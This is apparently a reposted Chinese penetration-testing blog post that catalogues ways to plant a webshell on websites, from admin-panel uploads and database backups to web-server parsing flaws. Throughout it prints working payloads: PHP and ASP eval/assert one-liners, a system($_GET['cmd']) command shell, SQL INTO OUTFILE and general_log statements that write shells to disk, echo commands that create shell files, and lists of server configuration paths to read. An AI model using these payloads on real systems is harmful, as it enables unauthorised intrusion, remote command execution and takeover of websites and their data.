網站滲透總結之Getshell用法大全

Linksla發表於2022-11-07

Getshell分為進管理員後臺Getshell和不進後臺Getshell,本文主要總結常見進後臺Getshell和部分。



一、進後臺Getshell

進臺Getshel


1、管理員後臺直接Getshell

管理員後臺直接上傳Getshell,有時候帶密碼的Webshell連線時容易被waf攔截,可以上傳不加密的Webshell如有許可權限制可以嘗試管理後臺自帶的修改檔名功能在檔名前加../來穿越目錄,如上傳的檔案為a.php,將a.php修改為../a.php。




2、後臺資料庫備份Getshell

後臺資料庫備份getshell,上傳圖片馬並獲取圖片馬路徑,透過資料庫備份修改字尾名,如有字尾名無法修改或路徑無法修改限制可修改前端程式碼繞過,當所備份的資料庫來源無法修改時,我們可以透過首先將一句話木馬寫入資料庫,比如透過新建管理員使用者,將使用者名稱用一句話木馬代替(使用者名稱通常有長度限制,在前端修改maxlength即可),<%eval


然後再透過備份資料庫後訪問此介面Getshell。




二、各類上傳Getshell

各類上傳Getshell


1、修改網站上傳型別Getshell

修改網站上傳型別,後臺設定中新增aasps|asp|php|jsp|aspx|asa|cer,儲存後上傳aasps檔案,上傳後為asp檔案可以解析Getshll。


05


2、上傳其他指令碼型別Getshell

一臺伺服器有多個站,如a網站為asp指令碼,b網站為php指令碼,而a中限制了上傳檔案型別為asp的檔案,此時可以上傳php的指令碼,來拿shell;也可以嘗試指令碼檔案字尾名改為asa或者在後面直接加個.如xx.asp.來突破檔案型別限制進行上傳來Getshell解


三、解析漏洞Getshell

1、IIS6.0解析漏洞




02


2、IIS7.0/7.5、Nginx<8.0解析漏洞


03


3、Nginx<8.03空位元組程式碼執行漏洞

版本範圍:Nginx0.5.,0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37


%00.php




0


4、Apache解析漏洞

逆向解析,直到能解析出php為止





5、CVE-2013-4547 Nginx解析漏洞

(非編碼空格)\0.php


四、編輯漏洞Getshell

1、網站配置插馬Getshell

進入後臺後,網站配置插馬getshell,可以找到原始碼本地搭建,插入時注意與原始碼閉合,如果插入出錯可能導致網站報廢。如asp中單引號表示單行註釋作用


%><%eval request("v01cano")%><%



2、編輯器模版Getshell

透過網站的模版編寫一句話,然後生成指令碼檔案getshell 透過將木馬新增到壓縮檔案,把名字改為網站的模版型別,上傳到伺服器,getshell)(新建或修改目錄名為xx.asp/ 此目錄下的jsp,html會以asp執行,配置iis6.有0解析漏洞 。


3、修改指令碼檔案Getshell

修改後臺指令碼檔案插入一句話直接Getshell,儘量插在頭和尾 。



4、上傳外掛、更新頁面Getshell

進入wordpress,dz等,如編輯wordpress404頁面插入一句話,可以先下載對應版本找到404路徑,部分OA上傳外掛Getshell, jboss,tomcat上傳war包getshell等。



5、執行sql語句寫入Webshell

首先執行錯誤的sql語句,使其暴露出網站的根目錄,以ecshop為例,進入後臺執行sql查詢


select "<?php phpinfo();?>" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";


關於此語句說明,在windows中有時候需要使用斜槓/有時候需要使用雙反斜槓\末尾有時候需要分號,有時候也不需要分號。也可以先將一句話透過ecshop的新建管理員寫入到user表中,然後透過資料庫備份配合解析漏洞Getshell。


五、命令執行Getshel

1、Windows

echo ^<^?php @eval($_POST[C0cho]);?^>^ >c:\1.php

1.

2、Linux

echo -e "<?php @assert(\$_POST[C0cho])?>" > 1.php

1.

Linux需要在$前加\進行防轉義,Windows需要在<前加^防轉義,Windows和Linux中的 “可以使用’或不使用進行嘗試


六、檔案包含Getshell


1、asp包含


include file="123.jpg"呼叫的檔案必須和被呼叫的檔案在同一目錄,否則找不到,如果不在同一目錄,用下面語句也使用如下程式碼include virtual="檔案所在目錄/123.jpg"


2、php包含

<?php

include('123.jpg');

?>

1.

2.

3.

03


3、使用php://input

使用burpsuite擷取資料包,並修改內容轉發(還可以使用hackbar工具中的post data中輸入<?php fputs(fopen("shell1.php","w"),'1111<?php @assert($_POST[xss])?>2222')?>等一句話木馬)


擷取get請求




將一句話木馬




訪問瀏覽器檢視是否成功




七、資料庫命令執行Getshell



1、Access匯出

Access可匯出xxx等檔案需要配合解析漏洞。


create table cmd (a varchar(50));

insert into cmd (a) values ('一句話木馬')   #一句話木馬如:<%execute request(1)%>

select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd 

drop table cmd

1.

2.

3.

4.

菜刀直連




2、Sqlserver匯出

exec sp_makewebtask 'C:\test1.php','select "<%eval request("pass")%>"

1.



3、Mysql匯出

以phpMyAdmin為例:


方法一

create TABLE xiaoma (xiaoma1 text NOT NULL);

insert INTO xiaoma (xiaoma1) VALUES('<?php eval($_POST[xiaoma]);?>');

select xiaoma1 from xiaoma into outfile 'D:/phpstudy/www/7.php';

drop TABLE IF EXISTS xiaoma;

1.

2.

3.

4.

方法二

select "<?php eval($_POST[v01cano]);?>" into outfile 'D:/phpstudy/www/a.php'

1.

方法三

當資料庫路徑未知時Getshell


//建立表a,並且將httpd.conf寫入到表a中

create table a(a text);load data infile "C:/phpStudy/Apache/conf/httpd.conf" into table a;

1.

2.

然後執行匯出操作,將該檔案下載,使用notepad++開啟,最後搜尋documentroot,即可找到網站的根目錄:




檔案可能存在的一些路徑:


# Windows

c:\windows\php.ini                             # php配置檔案

c:\windows\system32\inetsrv\MetaBase.xml       # IIS虛擬主機配置檔案

 # Linux

/etc/php.ini                                   # php配置檔案

/etc/httpd/conf.d/php.conf

/etc/httpd/conf/httpd.conf                     # Apache配置檔案

/usr/local/apache/conf/httpd.conf

/usr/local/apache2/conf/httpd.conf

/usr/local/mysql

/user/local/httpd/conf/httpd.conf

/usr/local/apache/conf/extra/httpd-vhosts.conf # 虛擬目錄配置檔案

/user/local/nginx/conf/httpd.conf              # Nginx配置檔案

1.

2.

3.

4.

5.

6.

7.

8.

9.

10.

11.

12.

13.

方法四

透過load_file函式直接載入該檔案內容


select load_file('C:/phpStudy/Apache/conf/httpd.conf');

1.

同時需要做如下配置






方法五

general_log_file方法獲取Webshell,show global variables like 'secure%'顯示secure_file_priv的值為NULL,不能利用寫into outfile寫木馬getshell。


show global variables like "%genera%";  #檢視genera檔案配置情況

set global general_log = off;   #關閉general_log  

set global general_log = 'on';  #如果general_log關閉需要開啟

set global general_log_file = 'D:/www/web/shell.php'

1.

2.

3.

4.

方法六

可執行命令方式


select '<?php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/shell.php'


使用方法


#cmd=後面加命令

1.

方法七

過防毒軟體方式,上傳圖片馬c.jpg,圖片馬內容如下:


#cmd=後面加命令


匯出Webshell


select '<?php include 'c.jpg'?>' INTO OUTFILE 'D:/work/www/shell.php'


方法八

直接匯出加密Webshell


select unhex('加密程式碼') into dumpfile 'D:/www/web/shell.php'


八、不進後臺Getshell

1、0day Getshell

各類OA,coremail,cms,php框架,資料庫,java框架等0day,1day,nday Getshell 。



2、寫入日誌Getshell

獲取日誌路徑,在訪問過程中在url或者其他位置寫入<?php eval($_POST[c]);?>;等資訊,使其日誌記錄此程式碼,然後訪問日誌路徑,菜刀連線Getshell,如phpinfo();中能檢視到error.log和access.log的路徑。




3、IIS/Tomcat寫許可權Getshell

IIS6.0,put協議上傳手工或工具,批次掃描工具:iis put scaner,寫許可權利用:桂林老兵


Tomcat put上傳 CVE-2017-12615 工具傳送門:%3A//github.com/iBearcat/CVE-2017-12615



4、上傳會員頭像Getshell

將Webshell放入資料夾,然後壓縮成zip檔案。上傳正常頭像抓包將圖片檔案內容刪除,burp右鍵選擇檔案黏貼功能,將zip包內容複製到burp中的圖片內容,放行後菜刀連線圖片上傳路徑下的資料夾(zip壓縮包名)下的Webshell 。



5、遠端命令執行

參考Linux/Windows反彈shell,指令碼語言、powershell反彈shell,Kali/Cobalt Strike等各種上線方法 。



6、其他漏洞Getshell

XXE,SSRF,反序列化,strust2等一種或多種組合利用Getshell 。

-----------------------------------

©著作權歸作者所有:來自51CTO部落格作者LinkSLA的原創作品,請聯絡作者獲取轉載授權,否則將追究法律責任

網站滲透總結之Getshell用法大全

https://blog.51cto.com/u_15576159/5827834


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/70013542/viewspace-2922101/,如需轉載,請註明出處,否則將追究法律責任。

相關文章